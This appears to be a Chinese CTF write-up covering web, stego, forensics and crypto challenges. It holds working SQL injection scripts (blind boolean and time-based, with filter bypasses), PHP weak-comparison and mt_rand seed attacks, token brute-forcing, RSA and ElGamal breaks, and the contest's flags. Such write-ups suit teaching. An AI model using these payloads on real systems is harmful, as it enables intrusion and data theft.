点开后是一个登陆框,直接查看源码得到关键代码
弱类型比较,使username=QNKCDZO;password=240610708
,进入下一关
Jsfuck 还有aaencode 的编码,有点大,还是调试js
(function() {
window.rotateFunc = function(awards,angle,text){
$('#lotteryBtn').stopRotate();
$("#lotteryBtn").rotate({
angle:0,
duration: 5000,
animateTo: angle+1440,
callback:function(){
getFlag(text);
}
});
};
})
直接点击下面的getFlag函数
(function() {
window.getFlag=function(text){ if(text=='1'){ alert("你最厉害啦!可惜没flag") } if(text=='2'){ alert("你太厉害了,竟然是二等奖") } if(text=='3'){ alert("你好厉害,三等奖啊") } if(text=='flag'){ alert("flag{951c712ac2c3e57053c43d80c0a9e543}") } if(text=='0'){ alert("再来一次吧") } }
})
关键代码
$(function() {
var rotateFunc = function(jsctf0, jsctf1, jsctf2) {
$('token.php').stopRotate();
$("#lotteryBtn").rotate({
angle: 0x0,
duration: 0x1388,
animateTo: jsctf1 + 0x5a0,
callback: function() {
$.get('get.php?token=' + $("#token").val() + "&id=" + encode(md5(jsctf2)), function(jsctf3) {
alert(jsctf3['text'])
}, 'json');
$.get('token.php', function(jsctf3) {
$("#token").val(jsctf3)
}, 'json')
}
})
};
$("#lotteryBtn").rotate({
bind: {
click: function() {
var jsctf0 = [0x0];
jsctf0 = jsctf0[Math.floor(Math.random() * jsctf0.length)];
if (jsctf0 == 0x1) {
rotateFunc(0x1, 0x9d, 1)
};
if (jsctf0 == 0x2) {
rotateFunc(0x2, 0xf7, 2)
};
if (jsctf0 == 0x3) {
rotateFunc(0x3, 0x16, 3)
};
if (jsctf0 == 0x0) {
var jsctf1 = [0x43, 0x70, 0xca, 0x124, 0x151];
jsctf1 = jsctf1[Math.floor(Math.random() * jsctf1.length)];
rotateFunc(0x0, jsctf1, '\x30')
}
}
}
})
})
encode
function encode(string) {
var output = '';
for (var x = 0, y = string.length, charCode, hexCode; x < y; ++x) {
charCode = string.charCodeAt(x);
if (128 > charCode) {
charCode += 128
} else if (127 < charCode) {
charCode -= 128
}
charCode = 255 - charCode;
hexCode = charCode.toString(16);
if (2 > hexCode.length) {
hexCode = '0' + hexCode
}
output += hexCode
}
return output
}
通过查看一些js代码,可知是跟text
的值有关,但尝试几个都不对,直接爆破好啦,注意:这个必须绑定token
,所以有一个读取token
的代码
附上Mirage
队伍的脚本(小小的改动了一下)
import requests
import hashlib
def encode(str):
end = ""
for s in str:
if ord(s)<128:
end+="%x"%(255-(ord(s)+128))
if ord(s)>127:
end+="%x"%(255-(ord(s)-128))
return end
flag = []
cookies = {'PHPSESSID': '2coc93voijtnq8ms9iu8rqe391'}
for x in range(1,200):
r = requests.get("http://117.34.111.15:81/token.php",cookies=cookies)
m = hashlib.md5(str(x)).hexdigest()
print x
#print "http://117.34.111.15:81/get.php?token="+r.text[1:-1]+"&id="+encode(m)
s = requests.get("http://117.34.111.15:81/get.php?token="+r.text[1:-1]+"&id="+encode(m),cookies=cookies)
flag.append(s.text)
if "flag{" in s.text:
print s.text
break
查看源码啥也没得到,尝试找下备份,发现.index.php.swp
,修复一下即可得到代码
error_reporting(0);
function create_password($pw_length = 10)
{
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++)
{
$randpwd .= chr(mt_rand(33, 126));
}
return $randpwd;
}
session_start();
mt_srand(time());
$pwd=create_password();
echo $pwd.'||';
if($pwd == $_GET['pwd'])
{
echo "first";
if($_SESSION['userLogin']==$_GET['login'])
echo "Good job, you get the key";
}
else
{echo "Wrong!";}
$_SESSION['userLogin']=create_password(32).rand();
?>
看来这是一个爆破随机数种子的题,后面的login
绕过就使session
置空,然后login=
脚本
function create_password($pw_length = 10)
{
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++)
{
$randpwd .= chr(mt_rand(33, 126));
}
return $randpwd;
}
session_start();
for($i=time()-10;$i;$i++)
{
mt_srand($i);
$pwd=create_password();
$curl=file_get_contents("http://117.34.111.15:85/index.php?pwd=$pwd&login=");
echo $curl.'
';
}
?>
注:有时候总是得不到,是因为种子范围太小,可以直接放大
include("config.php");
$conn ->query("set names utf8");
function randStr($lenth=32){
$strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
$str = "";
while($lenth>0){
$str.=substr($strBase,rand(0,strlen($strBase)-1),1);
$lenth --;
}
return $str;
}
if($install){
$sql = "create table `user` (
`id` int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT ,
`username` varchar(30) NOT NULL,
`passwd` varchar(32) NOT NULL,
`role` varchar(30) NOT NULL
)ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci ";
if($conn->query($sql)){
$sql = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')";
$conn -> query($sql);
}
}
function filter($str){
$filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";
if(preg_match($filter,$str)){
die("you can't input this illegal char!");
}
return $str;
}
function show($username){
global $conn;
$sql = "select role from `user` where username ='".$username."'";
$res = $conn ->query($sql);
if($res->num_rows>0){
echo "$username is ".$res->fetch_assoc()['role'];
}else{
die("Don't have this user!");
}
}
function login($username,$passwd){
global $conn;
global $flag;
$username = trim(strtolower($username));
$passwd = trim(strtolower($passwd));
if($username == 'admin'){
die("you can't login this as admin!");
}
$sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'";
$res = $conn ->query($sql);
if($res->num_rows>0){
if($res->fetch_assoc()['role'] === 'admin') exit($flag);
}else{
echo "sorry,username or passwd error!";
}
}
function source(){
highlight_file(__FILE__);
}
$username = isset($_POST['username'])?filter($_POST['username']):"";
$passwd = isset($_POST['passwd'])?filter($_POST['passwd']):"";
$action = isset($_GET['action'])?filter($_GET['action']):"source";
switch($action){
case "source": source(); break ;
case "login" : login($username,$passwd);break;
case "show" : show($username);break;
}
虽然过滤这么多,但密码随机,看来是一道sql注入
通过测试发现action=show
页面可以进行注入,得到密码
通过查找一堆的姿势,发现/
和and
相同,由于末尾有'
只能用1=1=1
逻辑进行绕过
脚本
import requests
url="http://117.34.111.15:89/?action=show"
flag=''
for x in range(1,33):
for i in range(33,125):
con="admin'/(ascii(substr((select(passwd)from(user))from(%d)))<%d)=1='1" % (x,i)
payload={
"username": con
}
s=requests.post(url,data=payload)
if 'admin' in s.content:
flag += chr(i-1)
print flag
break
一打开就是一个站,一脸蒙逼,先扫扫试试,发现有一堆一堆的sql注入可以利用,找一个点尝试一下
发现出现延迟,确定是sql注入
尝试注入吧,这里有个大坑,一开始拿脚本开始爆破数据库长度为5,数据库为test1
但是test1只是当前数据库,而不是flag所在的数据库,后来都行不通后尝试扔sqlmap中去跑,倒是跑出所有数据库
结果跑出来俩,必须是第二个,先试试sqlmap,一下就出来啦,无语
还是试试脚本
import requests
import urllib, urllib2, time
dic='123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM'
flag = ''
'''
for i in range(1,8):
#url = "http://117.34.111.15:83/vogati' union select if((select length(database()))={0},sleep(3),0)%2523".format(i)
url = "http://117.34.111.15:83/vogati' union select if((length((select group_concat(table_name) from information_schema.tables where table_schema=0x74657374 limit 1)))={0},sleep(3),0)%2523".format(i)
print url
start_time = time.time()
requests.get(url)
times = time.time() - start_time
if times > 2:
print i
break
print flag
#database() 5
#table 4
'''
for i in range(1,15):
for j in xrange(33,127):
url = "http://117.34.111.15:83/vogati' union select if(ascii(substr((select group_concat(database()) limit 1),{0} ,1))={1},sleep(3),0)%2523".format(i,j)
#url = "http://117.34.111.15:83/vogati' union select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x74657374 limit 1),{0},1))={1},sleep(3),0)%2523".format(i,j)
#url = "http://117.34.111.15:83/vogati' union select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x666c4067 limit 1),{0},1))={1},sleep(3),0)%2523".format(i,j)
#url = "http://117.34.111.15:83/vogati' union select if(ascii(substr((select f1ag from test.`f1@g` limit 1),{0},1))={1},sleep(5),0)%2523".format(i,j)
start_time = time.time()
requests.get(url)
times = time.time() - start_time
if times > 4:
flag += chr(j)
print chr(j)
break
print flag
#database() test1
#f1@g
#f1ag
响应还是有点问题,为了确保还是试试下一个方法
LSB解密,直接抠出来
保存后查看是tar,看来是利用hydan隐写的,直接利用工具解密即可,密码就是hydan
下载下来两个文件真是一脸蒙逼,打开whatisthat
看的时候居然找到Protocol,LMP,XiAn
,度娘好啦
得知这个协议是一个蓝牙协议,看来是一个关于蓝牙的解码题
百度链接:http://book.51cto.com/art/201011/236037.htm
根据上面直接跟着操作
可能是USB轨迹吧,直接利用大神的脚本UsbMiceDataHacker.py
链接https://github.com/gloxec/UsbMiceDataHacker
好坑啊,看不清
flag{stego_xatu@}
下载下来是一个压缩包,解压有两个图片,对第一张利用binwalk
开始分析
发现有压缩包,并且应该藏着一张.gif
文件,抠出来解压,一张没有头部的,添加头部,然后静态分析
即:In-order{RY!heHVaL-goAI{dxj_GpnUw8}kzuEr:s56fFl2i}
图片2由于没什么隐藏,就直接notepad++打开看到字符串
Post-order{YR!eVa-gLAoxd_j{pw}8zkUnGuIHh:r65f2lFsEi*}
联系树的含义,看来是个二叉树
画一画得到结果hi!HEReIsYouFLAG:flag{n52V-jPU6d_kx8zw}
分离后第一个需要密码,第二个直接用7z打开里面有一个txt,没什么意义,看来是需要进行明文攻击
得到密码3xatu2o17
然后解压得到两个
第二个WAV听起来是莫尔斯码,处理一下
转换一下-.-. - ..-. ... . -.-. .-- .- .-. ..--- ----- .---- --...
,解码即CTFSECWAR2017
第一个mp4看起来没东西,可能是视频隐写,毕竟都有密码啦
利用OurSecret解密
通过原理就可以进行脚本的书写,由于加解密的脚本已给,只需要进行素数的判定和穷举即可
脚本(来自官方)
# -*- coding: utf-8 -*
import RC2
#(38593, 13433911)
#print RC2.decrypt(cipher_text1,'38593','13433911')
#RC2.encrypt(plain_text,'38593','13433911')
plain_text ='flag{'
cipher_text1 ="|\xd6-\x14?\xb9\xa1\x86\x81\xa4\xdc\x950\x941'V'\xaf"
def isprime(n):
if n <= 1:
return False
if n == 2:
return True
if n %2 == 0:
return False
for i in range(3,int(n**0.5)+1,2):
if n %i == 0:
return False
return True
data = dict()
for key1 in xrange(0,2**24):
data[RC2.encrypt_data(plain_text,str(key1))] =key1
for i in xrange(0,2**24):
try:
a = RC2.decrypt_data(cipher_text1,str(i))
if isprime(data[a[:5]]) == True and isprime(i) == True:
print (data[a[:5]],i)
except :
pass
打开后简简单单的4个数据包,猜测是RSA,又看见其中的PUBLICN一样,看来需要利用RSA共模攻击直接脚本
脚本
#coding=utf-8
import sys
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
def main():
n = 295722865793798033460986793237541395631977030560369657198479193181766567057754287459743723539658396944636677358515648785314565228205230261697963097395812598331880872455869139731578362748460265979187318613591087019956434720952036757300875287830045303192314296720794872499471775336492552983354160440794987630219
e1 = 3
e2 = 7
c1 = 15839981826811799772634108807452583389456749354145216574984222938829756753294086924872110969732766251541785740757693788214686206806750788561292837339359061701208001297802597
c2 = 155249880144094802834481749928592059461139577288355397447367776112547796231086359709731959934830872744121046740255722326833958323017063249153808715277882003426237167195613685868065416967276090907468102632169601247074603247233477582113388294508579159856963458656960060635516531998836585340648309492666005454968
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
# 求模反元素
if s1<0:
s1 = - s1
c1 = modinv(c1, n)
elif s2<0:
s2 = - s2
c2 = modinv(c2, n)
#m = (c1**s1)*(c2**s2)%n
m = (pow(c1,s1,n)*pow(c2,s2,n))%n #效率较高
print m
if __name__ == '__main__':
sys.setrecursionlimit(1000000) #例如这里设置为一百万
main()
打开是算法
Elgamal公钥算法
p=27327395392065156535295708986786204851079528837723780510136102615658941290873291366333982291142196119880072569148310240613294525601423086385684539987530041685746722802143397156977196536022078345249162977312837555444840885304704497622243160036344118163834102383664729922544598824748665205987742128842266020644318535398158529231670365533130718559364239513376190580331938323739895791648429804489417000105677817248741446184689828512402512984453866089594767267742663452532505964888865617589849683809416805726974349474427978691740833753326962760114744967093652541808999389773346317294473742439510326811300031080582618145727L
g=5
pubkey= 15897134744603412407236340130903515843905595787916104657385519422986426345115823686810853107481694865775913467114024913677335733894667792798395737569953849256882861414952399033485502243404713926200118812354039741107644139745006955253583455274886964967225553722035103514031122271234784040261201020226057012096511938211174167656870379685617680291810128637980892370691572490691519829076783461109306590095484179440862495482835514470915461945970795413256156820437342587014038955991776434408677693566169588551847744742286874738315251398924077333252631511215605564897611397211382716723267549879729623306978333824259701644870
一半密文如下:
c2= [9771623932201733623958150190631898238891754674135016656173609454664781466401551373204230952581233581865473408039422744440232905405398138212912191325695750045453569941256147291250743556181733400816972976317748155577105285436653775849672801996204639875757864579907521541068077727695973833164967006557973521661951243118363079400627978261421881771361089184908937136705776910863952045936314459879953992672875504411266256582867046231099147858435807800552180587849018284789025825653155673899666954684890178399661554285310683351234583574417572953320622751175440376584396202371798700038971177213305400000804047817365103597382L, 14608293105501574503533259652579881424995988390885823565679732496177568728511937704817201530076573346617111605453294336192067719761379531231098823411766207916782525829553129273823226211177683798147559861760420639462488268102001975546954608037969287264182655610169290251797305868582689176357731553706394044746628830702014052597514707521018607966794835040871452631571495890025650348182808849642134806590235286182610672200970211296938894270988067627960195359367340260905757119205476791839772978296144481884247215884541679520712146523595176218787631010319115645819295808557440120080946196671793900915518512124958676065376L, 9701316872178874846131909603470837070515849918871635394596635817602152040037758568845028164922002284900665851973147569334369066504196131383562032110790839060301863157812096185742485638931122263862549570546428668634595747360007381582436669715688094861157769455061671616674330644206636212107541595737687176098553194392037200344339145461027514789146511976689042948676862700511488680465590973158039934046618613944664154133829633215518696845568285886493117224832818580913287592606952192738778042680002129042467036739921365192572078566859247563413236170772297224851089558735280032253583027391158154069805131757137610678840L, 11963086014345645422322480482894431793581354146999372322325391079434149872151420661315139375005326461429869710486795192425324383468316847456631476826575508960580303109655105203822670842716255932793740749546379823243172212707754756762751440785326903161706490592119944809533728933780302278229297543582110129725320675591598098351401400802676857017127006312000319093202574888278054601106384515988193420243740669510734279386193941907005100716574153069402283282890358032903663012216465660623259000719273256537180954384366979669998063272181493468076254720979391007317216551824004953330870975733699175783259723885472291390247L]
脚本(官方)
import binascii
prime =27327395392065156535295708986786204851079528837723780510136102615658941290873291366333982291142196119880072569148310240613294525601423086385684539987530041685746722802143397156977196536022078345249162977312837555444840885304704497622243160036344118163834102383664729922544598824748665205987742128842266020644318535398158529231670365533130718559364239513376190580331938323739895791648429804489417000105677817248741446184689828512402512984453866089594767267742663452532505964888865617589849683809416805726974349474427978691740833753326962760114744967093652541808999389773346317294473742439510326811300031080582618145727L
g=5
a=25068846673504649115013073204159551504077335388550230633916403745750246234700116848856658545794004828756011545491278286109627909119064932824318045632019480569837416672875776541337368023231944590490411760253202092483808095200967796197977981916982617237783161334496865286858293982227033097181473033945645887826660578179968969606115788410184864335869939046680461540228612601790548156930331249872426448165169562147455277630515803154329189762403617436554089752405120434751512261207786540113077887070082618511120708688069372803543422623986996708285225792456858415217112853089594868585882736142092012577812600140885857456632L
k=26444351772744893610205822500959482360769718695092697894733753449933019781845344787499328648121750641746551162853416774477909358285085068254363239016953842524072388260038167528939819968951257826131182857000313466814953494862084762751423673172957828265607677303539135866191354071397335740151910699852806045702422080864164622449015507083272338330880655795388073802136822438755728076839723514328729105950595774119626073789093134289438572677600391940406193069605947785986809219643481170701636744366717830605945548543292921429151730865748718046788399635983462509470009348745793498517786531256048637622970123356769436921467L
m='flag{eAsyPr0b1emtoSolve}'
'''
利用扩展的欧几里德(extended Euclid)算法算法来求密钥 e 的模 Z 乘法逆元
公式:d*e =1 mod Z
已知:e, Z
求 e 的 mod Z的乘法逆元
返回: d= e^(-1) mod Z
'''
def extended_Euclid(e,z):
(x1, x2, x3) =(1, 0, z)
(y1, y2, y3) =(0, 1, e)
while True:
if y3== 0:
return False
if y3== 1:
return y2
div = x3 /y3
(t1, t2, t3) =(x1 -div*y1, x2 - div*y2, x3 - div*y3)
(x1, x2, x3) =(y1, y2, y3)
(y1, y2, y3) =(t1, t2, t3)
print len(m)
mint=[]
c1=[]
c2=[]
print 'message(int)'
for i in range(len(m)/6):
mint.append(int(binascii.b2a_hex(m[i*6:i*6+6]),16))
print mint[i] #string-->Hex-->int
b=pow(g,a,prime)
print 'pubkey=',b
c1.append(pow(g,k,prime))
#print 'c1=',c1
c2.append(pow(mint[i]*pow(b,k,prime),1,prime))
print 'c2=',c2
c1a=pow(c1[i],a,prime)
c1ainv=extended_Euclid(c1a,prime)
mm=pow(c2[i]*c1ainv,1,prime)
print 'mm=',binascii.unhexlify(hex(mm)[2:-1])
print 'crackbegin , use the c2 infoonly'
message1=112615676672869 # assumption the first message is known
bktemp=extended_Euclid(message1,prime)
bk=pow(c2[0]*bktemp,1,prime)
#print 'bk=',bk
#print pow(b,k,prime)
for i in range(len(m)/6):
bkinv=extended_Euclid(bk,prime)
print 'mesaage',i,'='
mm=pow(c2[i]*bkinv,1,prime)
print binascii.unhexlify(hex(mm)[2:-1])